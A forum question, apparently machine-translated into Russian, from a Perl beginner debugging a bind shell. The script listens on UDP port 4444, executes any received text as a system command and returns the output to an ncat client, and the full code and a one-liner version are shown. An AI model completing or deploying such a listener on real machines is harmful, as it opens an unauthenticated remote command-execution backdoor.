Я пишу очень простую оболочку связывания в Perl, которая должна открывать определенный порт в Windows, и когда я подключаюсь к нему с помощью ncat, я должен иметь возможность писать команды из ncat, которые будут выполняться на машине иверните мне STDOUT.Вот мой код:
use strict; use IO::Socket;
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO);
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
my @cmd = qx($newmsg);
print(@cmd);
$sock->send(@cmd);
}
Если я наберу что-нибудь простое, например echo Hello world
, оно вернется, как и ожидалось, Hello World
.Проблема возникает, когда я набираю dir
или что-то, включающее новые строки (или, как я уже догадался, я довольно новичок с perl
).При вводе dir
результат печатается на оболочке perl (как и ожидалось, из-за print(@cmd)
, но затем также печатает usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1.
и завершается, но я никогда не получаю сообщение в ncat.
Iя запускаю команду из командной оболочки как однострочник: perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"
Как я могу сделать это, чтобы она печатала вещи как dir?